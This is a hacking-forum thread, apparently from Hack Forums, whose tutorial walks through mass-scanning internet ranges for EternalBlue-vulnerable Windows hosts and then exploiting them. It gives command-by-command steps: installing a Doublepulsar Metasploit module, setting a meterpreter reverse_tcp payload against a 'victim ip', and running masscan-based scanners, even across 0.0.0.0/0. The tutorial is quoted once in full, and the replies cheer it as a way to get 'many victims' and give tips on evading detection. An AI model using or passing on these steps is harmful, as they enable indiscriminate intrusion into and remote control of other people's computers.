Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

Tutorial: NSA Eternalblue mass-scanning and mass-exploitation (noob friendly)

This thread will cover
1) Masscaning using github.com / peterpt / eternal_scanner
2) Exploiting any possible vulnerable machines found by this scanner.

Please note, this is my first post on HF, so be nice, will ya?

0x00 - Assumptions
---------
1) This tutorial will assume that you have metasploit properly installed and configured on your machine.
2) This tutorial will assume that you have a basic understanding of UNIX-like/Linux environments.
3) That you are running this on a UNIX-like environment
4) Understanding of metasploit and how to portforward its services.
5) That you have a brain :keppo:

Of course, it's possible to set up this on a windows environment, but that takes time and some kind of effort. Who needs effort amirite?

---------
0x01 - Installing the exploit to metasploit.

cd /root/

# assumes you have git installed on your machine
sudo git clone github. com / ElevenPaths /Eternalblue-Doublepulsar-Metasploit.
git

cd Eternalblue-Doublepulsar-Metasploit

sudo cp eternalblue_doublepulsar.rb / usr/share/ metasploit-framework/
modules/exploits / windows/smb /

# and that is your exploit installed
-----------
0x02 - Exploiting people using metasploit and the installed exploit

msfconsole

use exploit /windows/ smb/ eternalblue_doublepulsar

# assuming you want reverse_tcp
set payload windows /meterpreter . /reverse_tcp

set LHOST <your ip>

set RHOST <victim ip>

exploit
# and that is your victim exploited.

----------
0x03 - Getting the victims

sudo apt-get install masscan # or install it using your machines package manager

git clone github. com /peterpt /eternal_scanner # assuming you have git installed

cd eternal_scanner

./escan

You'll get a dialog asking for an ip range. If you wish to scan the entire fuckin' internet, type in 0.0.0.0/0.

If you have a brain, on the other hand, use more reasonable ranges. If you don't know CIDR Subnet Mask Notation, google is a friend. PM or leave a post on this thread and I'll link a tutorial.

Vulnerable IP addresses will be displayed in the terminal window. If you want you can >> it all into a log file.

Oh and, this scanner is extremely powerful - it will literally eat up all available bandwidth. Use it on a VPS or enjoy living without internet.
---------

That is all. Hope you found this tutorial somewhat educational.

-- toxcique
This is one of the most powerfull tuto i've seen over here.
All noobs don't even understand what can do this kind of simple attack...
You can get many many vitcims with that.

Thank you very much, i give a try right now !
Great tut,thank you very much
If I were you, I would change that title, just to avoid attention from places.
Pretty good tutorial man, thanks for this!
(Mar 23, 2018 11:02 AM)Bear Wrote:  If I were you, I would change that title, just to avoid attention from places.

what do you mean?

Thank you for all positive replies!
man honestly I wish you kept this to yourself. skids will be all over it
(Mar 23, 2018 11:02 AM)Bear Wrote:  If I were you, I would change that title, just to avoid attention from places.

I was going to say the same thing. 👹

(Mar 24, 2018 02:52 AM)Toxcique Wrote:  what do you mean?

Thank you for all positive replies!

I see NSA I click. 👹

Nice tutorial, it seems informative. Although, I'm not the best when it comes to git and exploits.
[Image: EjgBW6i.gif]
This is golden thumbs up
Very informative thanks for sharing
thank you for the great response. I forgot to mention that you can change the scanner speed, in the file "escan, line 26.

it should be: rt="500"

however, if your servers are fast, you could increase it. My servers can reach 90kpps without raising any red flags; use zmap to find your limits, then change the rate.
(Oct 8, 2017 12:42 PM)Toxcique Wrote:  This thread will cover
1) Masscaning using github.com / peterpt / eternal_scanner
2) Exploiting any possible vulnerable machines found by this scanner.

Please note, this is my first post on HF, so be nice, will ya?

0x00 - Assumptions
---------
1) This tutorial will assume that you have metasploit properly installed and configured on your machine.
2) This tutorial will assume that you have a basic understanding of UNIX-like/Linux environments.
3) That you are running this on a UNIX-like environment
4) Understanding of metasploit and how to portforward its services.
5) That you have a brain :keppo:

Of course, it's possible to set up this on a windows environment, but that takes time and some kind of effort. Who needs effort amirite?

---------
0x01 - Installing the exploit to metasploit.

cd /root/

# assumes you have git installed on your machine
sudo git clone github.  com /  ElevenPaths /Eternalblue-Doublepulsar-Metasploit.
git

cd Eternalblue-Doublepulsar-Metasploit

sudo cp eternalblue_doublepulsar.rb / usr/share/  metasploit-framework/
modules/exploits  /   windows/smb   /

# and that is your exploit installed
-----------
0x02 - Exploiting people using metasploit and the installed exploit

msfconsole

use exploit   /windows/   smb/  eternalblue_doublepulsar

# assuming you want reverse_tcp
set payload windows    /meterpreter .   /reverse_tcp

set LHOST <your ip>

set RHOST <victim ip>

exploit
# and that is your victim exploited.

----------
0x03 - Getting the victims

sudo apt-get install masscan # or install it using your machines package manager

git clone github.   com    /peterpt  /eternal_scanner # assuming you have git installed

cd eternal_scanner

./escan

You'll get a dialog asking for an ip range. If you wish to scan the entire fuckin' internet, type in 0.0.0.0/0.

If you have a brain, on the other hand, use more reasonable ranges. If you don't know CIDR Subnet Mask Notation, google is a friend. PM or leave a post on this thread and I'll link a tutorial.

Vulnerable IP addresses will be displayed in the terminal window. If you want you can >> it all into a log file.

Oh and, this scanner is extremely powerful - it will literally eat up all available bandwidth. Use it on a VPS or enjoy living without internet.
---------

That is all. Hope you found this tutorial somewhat educational.

-- toxcique

Perfect for my local libary's fast internet connection 🤭
Thankss Very helpful thread. : )
HQ content here. Keep it up :-)
Thank you so much for sharing and contributing!!


Possibly Related Threads...
Thread / Author Replies Views Last Post
[The Brotherhood] by SiftSep 3, 2026 06:04 AM 3 92 Sep 3, 2026 06:04 AM
Last Post: Dotexe
by iLoveGamingAug 26, 2026 04:44 PM 6 986 Aug 26, 2026 04:44 PM
Last Post: delta zer0
by lmadminJul 16, 2026 08:34 PM 0 123 Jul 16, 2026 08:34 PM
Last Post: lmadmin